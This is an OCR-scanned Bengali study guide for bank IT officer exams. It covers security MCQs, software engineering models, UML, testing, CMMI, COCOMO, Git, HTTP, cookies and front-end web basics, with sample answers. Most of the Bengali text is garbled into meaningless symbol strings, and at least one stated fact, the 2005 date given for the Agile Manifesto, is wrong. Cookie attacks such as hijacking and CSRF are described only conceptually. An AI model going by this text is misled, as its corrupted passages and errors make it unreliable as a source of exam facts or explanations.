(F) ] TSI THI-TNFT (G () &6feTs #=71/password-a3 SifaFt g s
(51) T STIAIMIRG ey erorga (T) (GBI packet 5

Ta: () — () 2T brute-forcel

9. DMZ-a7 419 Stwly HI?

(F) (TOEF ((BSTIHT SIS T (¥) *iafe=s IS internal ((GSTIE QATE STA™!
e

() IP address BT (9) Wi-Fi 3551

Tag: (W)

10. &6 asymmetric algorithm?
() AES (¥) DES
(s) RSA (%) Blowfish

@ (51) — IS symmetricl

11. Hash function-a3 (318 97 &F=6?
() One-way () {3 tTHTF output
(sT) Key T T (GBI (F© AT T (2) Collision-resistant

T8<: (o) — @ft encryption-a3 &y

12. ;T malware host gIG13 (B S f[ATe fFTer 261 ofF A?
() Virus () Worm
(s) Trojan (=) Rootkit

T8 () — @9 WannaCry!|
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13. Traffic *9I& ¥t g Ate WHSIT 91 — &9 I
() IPS (2) IDS
(sY) Firewall () WAF

83 (4) — IDS passive, 8 alert (|

14. =19 full backup-a3 A (ATH IFANA! 7T (G6! T FF @FHIG?

(=) Incremental (¥) Differential
(s) Mirror (99) Snapshot

T8 () — incremental (1 (IHIEAT backup (TF F9 |
15. 205Y ANAT AT JIF [FoS §facs @ ISt FIFIF credential (IR FA1 TT?

(=) BEFTN (¥) SWIFT
(s1) NPSB (%) RTGS

e (¥4) — AS3TF (FCS G SWIFT payment message ST 3T
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I » — THeSWIF afgAmifag

Software Engineering

Officer (IT), Senior Officer (IT), Assistant Programmer a38 AME — BIFf5 2Ith3 Q419 (ITF &% ST (&1
SDLC S(G (JR (A039, UML SItas |ist, Unit 919 Integration Testing, V&V 8@ CMMII MCQ-¢s Waterfall,
Agile, Re-engineering, Git &1 fAgfie|

9.5 SDLC — STp68WIF cofdq g1t

AT THESTWIF TS (OG9O3 AIASTART N3 T T | TCSASTEAT 1T (AT LISt F e 8
T I T

Requirement . mplementation . .
[ Analysis H Design H (Coding) H Testing HDeponmentH Mamtenance]

5@ 5.5: SDLC-3 =af 419t (Feasibility study ST SUIETIMT 21N 419 4T3)

8.2 SDLC TTGATYR — eIl

NCGA e It FUT TAYS LEGo)

Waterfall (Linear Q3 4191 (*IF (A 2TIF 49 (IR Requirement %3 @ #ifd®g,  @fR{ts working

Sequential) AT B (25 TGS software; #If3a$=

BIBEET]

V-Model oSG development o Rofits Safety-critical, I1tFI &1 Waterfall-a7 wtois
a3fo testing &19t (Verification «» WSS (T FOIF (GG AN
Validation) ST

Incremental THESTIT FCAFIG (RIG LT o Yo [FEIF MqFI, NI GFCS AT
(increment) csfereifd; &S =t AFG IIFOFOIT SIS
SISEEIAIR)) OIS 37

Iterative AT T AFI AT IFAT IS Requirement SFTS 1Y ot @ s s
Bl =

Spiral (Boehm) &fSf6 5t Planning — Risk I, IR, Iy atorg I, risk [Rerww
Analysis — Engineering — SIS
Evaluation

Prototype St QBTG AT (prototype) Aty 3o Arere At a9 ®t FIGT6 prototype-F3
requirement fRf*ts = &I (UI-fofess) A BICS AT

RAD Component reuse + BI3N-J3; vo-  NGTSAAIZG T T 97 7o o @ wf &=t
o it ceferefd fSsew, v o SOOI SRR FIwo!
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Agile (Scrum) 3-8 TR Sprint; &AfSTE sprint-a Requirement 9 99 IneTI;  GHICH*IAH TN, IS
working software 8 feedback PTG AT fixed-price gfete
BSapo

A AT I
“Linear sequential” = Waterfall - “Risk” = Spiral - “Testing &1%f ¢&irG1” = V-Model - “ITst T3 =
Prototype - “Sprint/feedback” = Agile - “SIRT ST (BferolfR” = Incremental|

faste o5 Officer IT 2026 (25105)

A software company has been hired to develop an Online Library Management System for a university.
The librarian wants the system to be delivered in phases so that feedback from users can be incorporated
after each release. As a software developer, identify the most suitable software development model and
Justify your answer.

Seq: I E %9@\@ NG« Incremental Model (31 Agile/Scrum — T 1% iterative-incremental)l
If&:

1. Phase-wise delivery: 3ERTE 41t 41tot (SfeeIfS 519 — Incremental tete &6 increment
aHf6 RIS WL | (T9H: Increment-1: Book catalog @ search; Increment-2: Member
registration 8 issue/return; Increment-3: Fine calculation 8 report; Increment-4: Online
reservation 8 notification|

2. User feedback: &S release-a3 19 ITGIEI NoINS FIRF increment-aQ & T 19 — Waterfall-
9 @ft I 77, FRT G I GFINE Sl =271

3. % JifF: AT T3 T FoIF BIe] ATF; G 4T AT AT, 135 FI19 496 T

4. Requirement *If33$=: Rfmyrercag IR (fine, borrowing limit) IR #ItdF increment-9 SRS
IS <31 AN

Waterfall Im, 19 QT® WA feedback (TSI I (73; Spiral AATIIGR TSI I7AILA, I
QeI 6 technical risk (331

Agile Manifesto (2005) — 85 Jenaty
1. Individuals and interactions over processes and tools
2. Working software over comprehensive documentation
3. Customer collaboration over contract negotiation
4. Responding to change over following a plan

Agile-a3 53f% principle ®Tg; @3 W&y MCQ-(S &f* WIGT: T €9 working software sferelfs, mfdts 3tera
ATIISACE FITS ST, I 8 (GrOANIF ATSTT QFI FIew, JEANYY FATHFA|

Scrum sifgsmat: Product Owner (product backlog-a3 Jif&i<s), Scrum Master (&R sI=2E<e),
Development Team; Sprint (2-8 &), Sprint Planning, Daily Stand-up (>¢ fSfSB), Sprint Review, Sprint
Retrospective; Artifacts: Product Backlog, Sprint Backlog, Incrementl
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».9v Requirement Engineering

Functional Requirement Non-functional Requirement

5169 Ft FAW SI69 Fob1 SItaAsItd FJ (quality attribute)

TR ST OF SHIFIG6 (ATH Y WFISTH TUIRAT: T 2 CTIFCS ST9IF I (performance); 59.5%
BIT #A1SITS R, ATM T (A availability; #I8TIS encrypted AFR (security)

Use case, user story fac o Performance, Security, Reliability, Usability, Scalability,

Maintainability

gI91: Elicitation (interview, questionnaire, observation) — Analysis — Specification (SRS — Software
Requirement Specification) — Validation - Management| SItet SRS: correct, unambiguous, complete,
consistent, verifiable, traceablel

».8 UML SIids

UML-9 93 43039 SIram: Structural (Class, Object, Component, Deployment, Package) @32 Behavioral
(Use Case, Sequence, Activity, State, Communication)|

Class Diagram-a3 5™

A o= w12 @ Bureet
Association 9T (J9T 73 FIF ATF WA (50F (Customer — Account)
Aggregation BB TRNS O “has-a", WH WAMISIF BT AIFTS T (Department O—
Employee)
Composition TI5 TEANT ¢ & “part-of”, 2 YR W13 U7 T (House ¢— Room)
Generalization FI fage A “is-a" (SavingsAccount — Account)
(Inheritance)
Dependency TI (AT + S SN (2T (Report —» Printer)
Realization TSI (AT + BT Class @3B Interface implement &
fager

Visibility: + public, - private, # protected, ~ packagel Multiplicity: 1, 0..1, *, 1..%1
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faste e BB AP 2023

Draw a class diagram. A token-ring based local-area-network (LAN) is a network consisting of nodes, in
which network packets are sent around. Every node has a unique name within the network, and refers to
its next node. Different kinds of nodes exist: workstations are originators of messages; servers and
printers are network nodes that can receive messages. Packets contain an originator, a destination and
content, and are sent around on a network. A LAN is a circular configuration of nodes.

faw=g<t (noun — class, verb — method/association): LAN, Node, Workstation, Server, Printer,
Packet T class| “every node refers to its next node” — Node-a3 Hte@ st self-association (next,
multiplicity 1)1 “different kinds of nodes” — Generalization| LAN 1= Node g sifd® —
Aggregation (LAN 1 O— 2..* Node)I Packet-a3 originator 8 destination 763 Node-a3 (@It |

next 1
N
LAN . ode {abstract} packet
H - name: String {unique} L
+ addNode(n: Node) consists of - originator: Node
+ removeNode(n) + getNext(): Node - destination: Node

+ forward(p: Packet) 2 (orig, dest) | - content: String
+ getDestination()

//'\

/
7
4
«Creates» .,

=

BeeeiVErNode {abstract}

Workstation

— =

+ receive(p: Packet)

A

+ originate(dest, content)
: Packet

-
-
-
-
-
e

Server

Printer

5@ 5.2: Token-ring LAN-43 class diagram (Node-@3 self-association “next” it I8IF14 ring 51f3®)

(TR TN Srg ¥ T64: ReceiverNode FITIg S&ie! abstract class @fas — sIiSIfs Server 8 Printer-c& Node-ag subclass
I ATSIFIOLS receive() AATTS 2 97 #iraw Bftw | Yo 37 fS=5: generalization, self-association (next), Packet <>

Node association|

Use Case Diagram

Actor (stick figure), use case (fSR15fS), system boundary (NTSTHA) | 791 «include» — JLFSIAFOIR
I use case BT (Checkout «include» Make Payment); «extend» — *ISSITITS & 3T (Apply Coupon

«extend» Checkout)l

faste o5 Officer IT 2024

Draw a use case diagram for an e-commerce system. Customer - browses catalog, selects items, provides
shipping info, and completes payment. System - processes the payment, provides pricing, and sends
email confirmation.
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\

Browse Catalog

>

Provide Shipping Info

n
e

«include /
/

Customer

Complete Payment

|
I

E-Commerce System

J

Provide Pricing

Process Payment
Payment/Email

,  «include» System

Send Email Confirm.

foa ».9: E-commerce use case diagram (Customer 8 System f5 actor)

Sequence Diagram (SI3TFT)

INCTF &N object-BTEAT Y message -9 (| T lifeline (SgF ©I*T (@41), activation bar,
synchronous message (S1B Sid), return message (I Si) | Wt ATM withdrawal: Customer — ATM:
insertCard() -» ATM — Bank: verifyPIN() — Bank --> ATM: OK — ATM — Bank: debit(amount) - ATM —

Customer: dispenseCash()I

2.¢ THOSWIF 6362

TurRAe (IF1LF)

66297 B

R F (BB 3T & IE

Unit A<k function/method/class, BT (JUnit,
HAMSIET NUnit, PyTest)

Integration aIfeF FSGR interface 8 (GTSHAI/ (BB
(GBI 21

System s=oyef f056w, functional + non-  F&T QA fox
functional

Acceptance TR Bifzwr 7 2cee [F/qr PICTB/CI9

(UAT) IR

calculateInterest() fd<s W= g
&

Fund Transfer If&%e «> Account
Wf&Se «» SMS gateway

?[taT internet banking end-to-end,
load test

1B FHTOIAT IIEIT BTG BE AT
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faste o so 172026 (25104)

Explain the difference between Unit Testing and Integration Testing.

IEER Unit Testing Integration Testing
Scope Q3JF<F unit (function, method, aFifgs unit/wfSeEg ST
class)
SRy unit-99 (9o&R logic I3 a1 WfGCASTER interface, (GBI WMIH-2mIF S35 <1
T4 ST, (G (TLARF AN SZ unit testing-a3 <Itd

Dependency 3133 Aot Stub/Mock fat ST WSS J7IF,; Ssr=oief ST Stub (top-down) I

aAfsgifoe Driver (bottom-up)
BFBR &7 S White-box STer® Black-box/Grey-box
@5 cdron sxor — AWM unit-a iRy QAIEF BdT — (@I interface-Q a1 ©f fows 37
Tools JUnit, NUnit, PyTest Postman, Selenium, TestNG

Integration testing-a3 #&fs: Big-bang, Top-down (Stub =1Tst), Bottom-up (Driver Ist),
Sandwich/Hybrid|

Black-box 9915 White-box

(SOEF (&G 91 (qed, input-output Ged PTG (TOFF 5157 (O

@I=T: Equivalence Partitioning, Boundary Value @IeT: Statement/Branch/Path coverage, Cyclomatic
Analysis, Decision Table, State Transition Complexity, Loop testing

(BSBIR/3TETH IO AT ceftanfai Gate aAresy

Cyclomatic Complexity V(G) =E - N + 2P = (decision points) + 1

Tuzact: Boundary Value Analysis

ATM (T QFIIE ¢00-20,000 BIFT (ST T | BVA test value: 499, 500, 501, 19,999, 20,000, 20,001 |
Equivalence class: <500 (invalid), 500-20000 (valid), >20000 (invalid)!

Tulzas: Cyclomatic Complexity
a6 B fB if 8 56 while TR — decision point =9 — V(G) = 3 + 1 = 4, Wfle XS 85 FIF=
path (556 F90® 3| (Graph QT E=9,N=7,P=1@V=9-7+2=4)

I (61562 Regression — #IRISH #I1F <@ feoiw @98 5 Wtg 541, Smoke — {5 cifessig
5t f5; Sanity — fAfA® fix < ztacg fF41; Alpha (SS9t A136) ITIN Beta (3SR AR,
Load/Stress/Performance; Penetration testingl
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.Y Verification & Validation @38 CMMI

Barry Boehm-43d sg@al

Verification: “Are we building the product right?” — cifSifRet=H St (ofF 20o% 6411 (static; 1o
= sifec)|

Validation: “Are we building the right product?” — 3eItaR ST BifRnt 579 Facg BT (dynamic;
&G Bifeey)|

fasie o BB AME 2023

Verification and validation are two process areas at CMMI level 3. For both of these areas provide (a) a
definition (b) a description of how you can fulfill these areas in your software testing activities.

(a) ALt

Verification (VER) — CMMI St @3 Sl 3eat fAf6s Fa1 (7 R=1fes work product (requirement
document, design, code) S A requirement 27 | 2% w1 < Do off Fafw?
Validation (VAL) — Stw*I3 AT 2¥1ef T (T product T product component ST Sfmg wAfREeT It
Tf® 319319 (intended use) 9179 I &% WAl 5 w1l f&fas tofs safw?

(b) (6562 FITFT FISIT 97V FAE:
Verification Validation
Verification-a3 &= work product fAx5= 3 &9 product/component validate 33 ©f F16+;
verification #&f® “If{Fga1 (test plan-a &y validation environment (UAT server, I8 (GBIF F3A1)
) 4]
Peer review: requirement review, design User Acceptance Testing, beta testing, prototype
review, code inspection, walkthrough, demonstration, end-user T4t scenario test
checklist
Static analysis tool (SonarQube), unit test, System testing 18I workflow-4; IR use case
integration test — spec-Q3 St (AT I test case
Requirement Traceability Matrix fatg &S5 FATH [EE I stakeholder-ad sign-off (a3

requirement-9Qg test Wity {311 TGI8
@6 @6 (defect log) 8 corrective action Validation result fRTarge 8 SraRT #1f{7s

SRGHeH: Verification 29 &fSf6 development «TToiF <1t (review + inspection), Validation =T product
CofF R8T 917 I\ AR (testing + UAT)1 V-Model-a3F 1% 1T Verification, B9 1 Validation|

CMMI-7 ¢f6 Maturity Level

Level = =gy

1 Initial sffF wfasiNe, fSFSa (heroics)
2 Managed HTTTg-BE AfFFGA!, requirement management, configuration management
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3 Defined SfSP=-grT standard process; VER, VAL, Requirement Development, Technical
Solution, Risk Management

4 Quantitatively A= 8 (Ifge o aféss Rager
Managed
5 Optimizing IR afdsr SawH, causal analysis
T AL

“I M D Q O" — Initial, Managed, Defined, Quantitatively managed, Optimizing|

».4 fS&n3 fS: Cohesion 8 Coupling

Sitet femsa = High Cohesion, Low Coupling |

* Cohesion — O3B ISTET (TOEIT TAMTSTEAT FOOT AF3 FITGH AN TS | Y191 — SICT:
Coincidental < Logical < Temporal < Procedural < Communicational < Sequential < Functional (&Ta1)1

e Coupling — ICTASTEAT ATF WAEI 3217 FO6! [NSTAA | A — ST Content (SIITHCT LA >
Common > External > Control > Stamp > Data (1) > No coupling|

I35 Modularity, Abstraction, Information hiding, SOLID (Single responsibility, Open-closed, Liskov
substitution, Interface segregation, Dependency inversion), DRY

2.b TFESWIT AfS6ra=i9: COCOMO 8 Function Point

Basic COCOMO: E = a-(KLOC)P person-month | D= c-E9 month | Staff=E/D

Project type a b c d caf¥rgs

Organic 24  1.05 25  0.38 @15, W ow, #AfFfes s
Semi-detached 3.0 1.12 2.5 0.35 RIEUIE

Embedded 36  1.20 25 032 IO IESTR/RTAF-B13% M=o

Turgaet: vs KLOC organic TS

E=2.4x32105=24x38.05=91.3 person-month

D=2.5x91.30938=25x556=13.9 month
Staff =91.3/13.9 = 6.6 ~ q T (GO

Function Point (FP): (TG 1% 7T, TG e st 5ot ¢fS $omm= stam: External Inputs,
External Outputs, External Inquiries, Internal Logical Files, External Interface Files| FP = UFP x VAF,
(T VAF = 0.65 + 0.01 x XF; (58f6 general system characteristic, &St o-¢) | orr-Rawrs It aFo3
afSBeTIH STg|

5.5 Maintenance 8 Re-engineering

Maintenance-a9 ¥4 wyaf
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Corrective R s 5 =

Adaptive T AR AT @S (AR 0S, 799 BB @STETA)
Perfective T B/ INIS SANA (TN & 246 77)
Preventive SRR TN @MY @IS restructure (refactoring)

* Forward Engineering: requirement — design — code (FreiikF m<F)|

* Reverse Engineering: %= code (It design/specification S&IF F11

* Re-engineering: Reverse engineering + restructuring + forward engineeringl a3 FII&FA: source
code translation (SR SIFT (YTF TPF SIFIY), reverse engineering, program structure
improvement, program modularization, data re-engineering! Officer IT MCQ 2026 (BIBM)

».%0 Version Control (Git), CI/CD 8 DevOps

git init # 999 repository

git clone <url> # IG5 repo o

git status # @9 TIa AFRSe

git add file.java # staging area-s st

git commit -m "Fix interest" # snapshot %

git branch feature-login # 994 branch

git checkout -b feature-login # branch ¢fd + 35 (Ig9: git switch -c)
git merge feature-login # branch aJtge Fdt

git pull # fetch + merge

git push origin main # RO ndear

git log --oneline # 3oz

git revert <commit> # 794 commit i <F AfRISa AfSa (Rarem)
git reset --hard <commit> # 3 ym At (esot!)

Centralized (SVN) I=1% Distributed (Git, Mercurial) — Git-9 2TSF (SISANII FICT YT 3fSzI5™R
repository | git fetch BY TIGAANG H(F, git pull TISAGIG + merge IR

CI (Continuous Integration): 2fS$f6 commit-9F <17 F:f&T build 8 test| CD: Continuous Delivery
(production-a TSI T M & FS, manual approval) IA Continuous Deployment (FRf&FTeE
production-Q)I Tools: Jenkins, GitHub Actions, GitLab CI| DevOps = Development + Operations-a3 JI93Y;
g91: Plan — Code — Build — Test — Release — Deploy — Operate — Monitor| Container (Docker),
orchestration (Kubernetes), IaC (Terraform, Ansible)! Build tool: Maven/Gradle (Java)l

.55 MCQ S#itei v

1. Linear sequential model &1_i5?

(=) Agile () Spiral
(s7) Waterfall () V-Model
Tag: (51) — Waterfall-Q 191 SNIAICT OF]IF I T Officer IT MCQ 2026 (BIBM)
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2. Risk analysis (39 TSI (41T (AF187?
(=¢) Waterfall (4) Spiral
() RAD (€) Prototype

T8 (4) — Boehm-a3 Spiral et S 5t risk analysis =

3. Source code translation 8 program modularization (FI= FILFTIT WLA1?
() Reverse engineering (¥) Forward engineering
(57) Re-engineering (9) Testing

Taq: (51) — Re-engineering aifeFa gofl Officer IT MCQ 2026 (BIBM)

4. Agile-a3 ¥ S @=B?

() Comprehensive documentation (¥) Responding to change

(s7) Following a fixed plan (20) Contract negotiation

T8<: (4) — Agile Manifesto: responding to change over following a plan|

5. “Are we building the product right?” — &_ioa 2%?
(=¢) Validation () Verification
(57) Acceptance (9) Regression

T&d: (%) — Verification; Validation 2T “right product”|

6. CMMI-3 Level 3-a3 J1% $?

() Managed (¥) Defined

(s) Optimizing (=) Initial

&8 (¥) — Initial - Managed — Defined — Quantitatively Managed — Optimizing!
7. Boundary Value Analysis (19 4399 (61552 &F*ler?

(F) White-box (¥) Black-box
(s7) Static review (°) Mutation

6 () — @IS 1 (g input-a3 St R G361
8. SItel TFoeWIF fSTlRta I ig—

() High coupling, high cohesion (¥) Low coupling, low cohesion
() Low coupling, high cohesion (29) High coupling, low cohesion
&g (1)

9. FTETT YA 4 coupling FIAB?
(=) Data (%) Stamp
(s7) Control (=) Content
TG (9) — O VGO W64 (GO (Gb1/ (G FIAF A6~ ||

10. Version control-93 T+ (HIF § 970 3?7
(=) Git (4) Jenkins
(s) Docker (=) Maven

@4 (F) — Jenkins = CI, Docker = container, Maven = build tooll  Officer IT MCQ 2026 (BIBM)
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11. Top-down integration testing-a =9 fHtea afSStara Girwsita Ft I3eF 712
(=¢) Driver (¢) Stub
(s1) Oracle () Harness

&8d: () — Bottom-up-a Driver @AM

12. @36 GFI-ATF E = 10, N = 8, P = 1 5t Cyclomatic Complexity Fs?
()2 (¥) 3
(o) 4 ()5
e () —V=E-N+2P=10-8+2=4]

13. UML-9 SHI6 SITTS (@) (&FIF 72906 QI_/a?

(F) Aggregation (4) Composition
(s) Generalization () Dependency

TSR (¥) — W BN = Aggregation|

14. 99 0S-a TFESWIT BIANAIT T “ifF3S7 &9 maintenance?

(=¢) Corrective (¥) Adaptive
(s7) Perfective () Preventive
T6: ()

15. AT oI At {17 5 @it fF1 513 T4 77 &9 GT?
(F) Smoke (4) Regression
(s1) Alpha () Unit
Tag: ()
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LI Yo — 3TAT BHAATST

Web Technology

BSCS-a3 AME/AE (IT), Senior Officer (IT), Officer (IT) — fS=ftres sreifSs f@fds &/t HTTP status code,
GET 3919 POST, Cookie 8 responsive design Qtita | Assistant Programmer-a3 &t MVC, HTML table, CSS
T MCQ-CS port number, HTML tag, CSS-a3 szt & Rfxeo|

%0.b Client-Server ItGe1 8 HTTP

AT (client) @6 HTTP request “N15IT, ST ASIF @FB HTTP response (FIS (M| HTTP XCaT
stateless, application-layer (2ITBIFa; STILIRS TCP port 80 (HTTP) @ 443 (HTTPS = HTTP + TLS)|

® HTTP Request: G /1.1 (TCP 443, TLS)

Web Server Database

Apache/Nginx MySQL/Oracle
+ App (MVQ)

Browser
(Client)

@ HTTP Response: 200 OK + HTML/JSON

5@ v0.5: OB ST 1T =1G ST &9

GET /accounts/1001 HTTP/1.1 ¢ Request line (method, URI, version)
Host: ibank.example.com < Headers
User-Agent: Mozilla/5.0
Cookie: SESSIONID=abl2cd
¢ HIF ARF, SFAF body (GET-@ MIoS A M)

HTTP/1.1 200 OK ¢ Status line
Content-Type: application/json
Set-Cookie: SESSIONID=abl2cd; HttpOnly; Secure; SameSite=Strict

{"account":"1001", "balance":25000} < Body

%0.2 HTTP Methods

Method JG Idempotent? Safe?
GET (GBI 51T (read) = =
POST T9A resource ST / (GBI TNy Bl Bl
PUT 2Tl resource Ao (I ¢SfF) it Gl
PATCH A AfRTST STIETRTS 1 t
DELETE resource Cg CHel o B
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HEAD / OPTIONS ®g header / ¥wf¥fs method @it o =t

Idempotent = a3 request I AIITETS ASIHI TIF AFAIF AISIAIT AT A |

fsre ¥ Officer IT 2026 (25105)

Describe any two key differences between the HTTP GET and HTTP POST methods used for communication
between a web browser and a web server.

T GET POST

(GO (I URL-AF query string-a ( ?id=10&type=sav) Request body-S

fRrerel/aer  URL-@ (it T1; browser history, server log, URL-@ (74T I A1; ST@AFNS (GOIF
bookmark-a (ATF T — ANSANET T WIATE G SIS (9 HTTPS HI#TF)

(GBI WP URL vty ifste (Freena/siSIacet S KB) IS TN, FIRA WIS TGI

SUHT 3 (GBI 21T, safe 8 idempotent (GBI Gl/#1fRS; idempotent 7T

idempotency (RTe 719 T 30o #NT)

Cache / Cache 8 bookmark &1 I TYIFNS cache IT T

Bookmark

(GO B3t BY ASCII o551 CIHIAT (binary-8)

TR G (9Fer — GET; 15137 % 1 fund transfer — POSTI

%0.9 HTTP Status Code

cIfe =ref Turgast (SBIS16 phrase)

1xx Informational — request 100 Continue, 101 Switching Protocols
SATG (51T, A BeTey

2xx  Success — el 200 OK, 201 Created, 202 Accepted, 204 No Content

3xx Redirection — &=y SIS 301 Moved Permanently, 302 Found, 304 Not Modified, 307 Temporary
S [4CRIS] Redirect

4xx Client Error — request-ags1 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found,
405 Method Not Allowed, 408 Request Timeout, 429 Too Many

Requests
5xx  Server Error — SrS1F (34 500 Internal Server Error, 501 Not Implemented, 502 Bad Gateway, 503
request 2t 52 Service Unavailable, 504 Gateway Timeout
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f9st® o' Bscs AME/AE 24.01.2026 SO IT 2026 (25104)

(AME) In web technology what do the following status code categories represent? Give some specific
example for each: 2xx, 4xx, 5xx. (SO IT) What do the following specific HTTP status codes mean? Write
down the exact standard text phrase for each: (a) 200 ...

2xx — Success: client-93 request STSIF THFASIR &2, JRITR 8 7 FFCRI 200 OK (e, TIF
A (1S (71G), 201 Created (POST T T SIFIGG (SfF 3CACR), 204 No Content (75, 58 (Fa©
M8 7 (A3 — @94 DELETE)|

4xx — Client Error: 9 client-a3 it — ge1 syntax, WS (@3 A resource (331 400 Bad Request
(g7 FIEF JSON), 401 Unauthorized (s15134/authentication wa<s1d), 403 Forbidden (75137 =g 5@
TS (7% — TN TEKT 38GF admin 91te), 404 Not Found (URL-@ GFITT (91T (73)|

5xx — Server Error: request (39, 5@ SR At @63 FIFE 279 FICS 2AA1 500 Internal Server
Error (SIRIF*ITH exception), 502 Bad Gateway (proxy/load balancer (oIt TSR (ATF HCIH TB]
(PITACR), 503 Service Unavailable (&% I W f{e (116), 504 Gateway Timeout!|

STrrRe go
401 Wt “Unauthorized” 74T 3te18 w5l w2 unauthenticated (SIf35T 513 33fX) 1 403 W #ifFwy
T, i WIfS @21 301 = i redirect (SEO #1fFf$® =), 302 = it

%0.8 Cookie, Session 3 Web Storage

HTTP stateless, ©3 386G B I14T® cookie =11t Cookie 3CeT SISIT Set-Cookie header ity arowd
T (2B (=8 KB) key-value (BT INL; IS *I7I0! 2AfSG request-a 13 (ST S ATST|

IERE Cookie Session localStorage / sessionStorage

I TG SIS (IRSSITT Y session ID TG

AT cookie)

FIF ~4 KB STISTER (TN St ~5-10 MB

TSI A? A6 request-a FIfEFT 8y ID 1 (JS e sroce =23)

o™ Expires/Max-Age FSTARSB/timeout 1S local: BrS; session: 5111 3§
RERIEN /IS
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fasts &= BscsS AME/AE 24.01.2026

What are HTTP Cookies? How can cookies be a security risk?

HTTP Cookie: ST F9F JFSTI IS (BB (BHG (GO (hame=value), T KI8T request-« ST
53 T IR session management GRET] A7), personalization (ST, ), tracking/analyticsi
§3: Session cookie (NG I0F; (7 M), Persistent cookie, First-party 8 Third-party cookiel
Aateret Jf:
1. Session hijacking: TIFIF (FITISIE session cookie (IS ATSTIE BTGB FTGIF RGN 9137 AFCS
AN
2. XSS fata gf3: coite S1 JavaScript TiRFGT document.cookie TG PRI TSI ATSITAT|
3. CSRF (Cross-Site Request Forgery): IreGiR FNAEFTOIE cookie ATS It W STIAISIZG (AT
ISGIET WS fund transfer request STSTCT T
4. Sniffing / MitM: HTTP (Qaf&s*=3I) SRSt cookie 23 #Iet T
5. Privacy: third-party tracking cookie it 3SR FISI&TR (2ATFIEA (S
6. Session fixation, cookie tampering (cookie-cS role=admin I 3SG TSR IS HNTR) |
SAfSTate: Httponly (JS 2IGTS N[ AT — XSS §fF @1%), Secure (8Y HTTPS-9 M),

SameSite=Strict/Lax (CSRF (J1%), ¥g (AW, AR 91T 79 session ID, cookie-(S IR (GG! 1
4l, CSRF tokenl

%0.¢ HTML — oiifes fagg

HTML = HyperText Markup Language — ¢2ialifsi a1 557, markup o171 HTML5-99 semantic tag:

<header>, <nav>, <section>, <article>, <footer>; media: <video>, <audio>, <canvas> |

Tvirad: bfie, s 8o s

<table border="1">
<caption>Account Summary</caption>
<tr><th>A/C No</th><th>Name</th><th>Balance</th></tr>
<tr><td>1001</td><td>Rahim</td><td>25000</td></tr>
<tr><td colspan="2">Total</td><td>25000</td></tr>
</table>

<img src="1logo.png" alt="Bank logo" width="120">
<a href="https://www.bb.org.bd" target="_blank">Bangladesh Bank</a>

<form action="/1login" method="post">
<label for="u">User ID</label> <input type="text" id="u" name="uid" required>
<input type="password" name="pwd">
<select name="branch"><option>Motijheel</option></select>
<button type="submit">Login</button>
</form>

<tr> =row, <th> = header cell, <td> = data cell, colspan/rowspan = CﬂF{é]@_\Q\sl <img> @3B
empty (self-closing) tag; alt accessibility-3 &= GFR|
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0.y CSS

CSS = Cascading Style Sheets| “Cascading” 19 aIf&F 39 Aprer WAfEF1F (specificity 8 &) St
219 271 Specificity: inline (1000) > ID (100) > class/attribute/pseudo-class (10) > element (1);

limportant SIfPRI SR

Inline <p style="color:red"> TS5 WA, g SRR 7

Internal  <style> Byst <head> - Q3B GIteF Gy

External <link rel="stylesheet" SITHTH OItAl — O FI3e I3 (911G, browser cache 3T, HTML 8
href="style.css"> fOen3 wremt (separation of concerns), TFIIFY G

Box Model: Content — Padding — Border — Margin ((S91 (I JI3CA) | box-sizing: border-box fAteT
width-a3 Sty padding 8 border 31 231 Selectors: p (element), .btn (class), #main (id), div p
(descendant), div > p (child), a:hover (pseudo-class)l Layout: Flexbox (a-9ifass), Grid (fg-wifa<s)|
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50.9 Responsive Design: Media Query, Viewport 3 Mobile-First

fasie o5  Bscs AME/AE 24.01.2026

Explain the role of CSS Media Queries and the Viewport Meta Tag in creating responsive applications.
What is the "Mobile-First" approach? (10)

Responsive design: 9F3 STIINRG I3, BIRCAG 8 (THE? — S fFp e @ e 31

5. Viewport Meta Tag: (VI3 ISR GBI (IGIBIF ~dbopx BGTI (THEH (9IS 4TI (BB (zoom
out) FCI AT | O3 B9 IRGSIAE ICA viewport-aF 2% = TSR SFS 2%, A YH© zoom 1:

<meta name="viewport" content="width=device-width, initial-scale=1.0">

«ft A1 WFE media query ST &% 2T 1, TCA responsive CSS FIE3 HFCI 1|

2. CSS Media Query: f&a ¢af¥185 (width, orientation, resolution) ST ST f&7 CSS TSt
03| [AfiE 217 (breakpoint) layout I T — (TNA (GHBLH © FA, (T S FAN|

/* Mobile-first: o6 5131 @5 Fea &y */
.cards { display: grid; grid-template-columns: 1fr; }

/* BIRGT6 8 I (51T IG */
@media (min-width: 768px) {
.cards { grid-template-columns: 1fr 1fr; }
}
/* (GHGH */
@media (min-width: 1024px) {
.cards { grid-template-columns: repeat(3, 1fr); }
}

©. Mobile-First approach: 2T SIRCECA (RIG FRA (CIRM3e) T T3 @ CSS (@4, SIFAT min-
width media query MTT I RREAF TAY LT 41Tt FRFBIA/ETSISE (s FAT (progressive enhancement)|
93 9131 20T Desktop-first (max-width T (=16 1)

i () T QFETSIST STF (NI FHIAT6/AANIFR IR FE, (W) AR F9 CSS/2[_
@G T — TS, I (GO UI; (1) (2B FHd (AT BF FICT Y TN FACB6 I1ATS 147 ST M, ()
Google mobile-first indexing T, ©13 SEO SItaAT | I=IWF & 1e: fluid grid (% / fr), flexible image
(max-width:100%), relative unit (rem, em, vw)I

So.bk JavaScript, DOM, AJAX 3 JSON

JavaScript 2CeTt FRS@IE & client-side scripting ©TaT (Node.js it sTrE1ta8 Bte1) | DOM (Document Object
Model) — HTML ¢*1oitF Q36 tree RO So1torE, 11 S ey #ifis a1 T
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let btn = document.getElementById("checkBtn");
btn.addEventListener("click", async () => {
const res = await fetch("/api/accounts/1001"); // AJAX (fetch API)
const data = await res.json(); // JSON > object
document.querySelector("#bal").textContent = data.balance;

B

AJAX (Asynchronous JavaScript and XML) — 9JtdT (o1&t [RTeAG F1 FF 2A0GNCS ASIRI T (GO AMI=-2wi=
(XMLHttpRequest T fetch)1 JSON (JavaScript Object Notation) — RIeI<sT (GG (GO HINIG:

{"name" : "Rahim", "balance" :25000, "active":true} ; XML-QF (5T (26 3 9I5f 1 TxGT| var (function
scope) I let/ const (block scope); == (type TV FF QeAl) AN === (type-I2 FCHF Fer1)|

0.5 REST API

REST (Representational State Transfer) — resource-& URI s f5f%s Ft@ HTTP method it S sa1a
BIore1-A1fS | J7 fS: Client-server, Stateless (2456 request TI™9, SIS session N AL M),
